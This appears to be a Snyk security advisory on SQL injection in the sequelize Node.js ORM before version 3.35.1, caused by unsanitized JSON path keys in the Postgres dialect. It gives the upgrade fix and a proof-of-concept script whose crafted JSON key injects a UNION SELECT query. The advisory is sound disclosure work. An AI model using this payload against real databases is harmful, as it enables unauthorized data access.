SQL Injection Affecting sequelize package, versions <3.35.1


0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.19% (57th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SEQUELIZE-450222
  • published 21 Jun 2019
  • disclosed 20 Jun 2019
  • credit Snyk Security Team

How to fix?

Upgrade sequelize to version 3.35.1 or higher.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly sanitized in the Postgres dialect.

PoC by Snyk

const Sequelize = require('sequelize');

const sequelize = new Sequelize('someregistry', 'postgres', '', {
  host: 'localhost',
  port: '5432',
  dialect: 'postgres'
});

const Project = sequelize.define('Project', {
  name: Sequelize.DataTypes.TEXT,
  target: Sequelize.DataTypes.JSONB,
}, {
  tableName: 'projects',
});

(async () => {
  await sequelize.authenticate();

  console.log(await Project.findAll({
    where: {target: {"a": 1}},
    attributes: ['name'],
    raw: true
  }));

  console.log(await Project.findAll({
    where: {target: {"a}') = '1' UNION SELECT VERSION(); -- ": 1}},
    attributes: ['name'],
    raw: true
  }));
})();

// https://github.com/sequelize/sequelize/blob/v3/lib/dialects/abstract/query-generator.js#L2201
// $baseKey = self.quoteIdentifier(key)+'#>>\'{'+path.join(', ')+'}\'';

References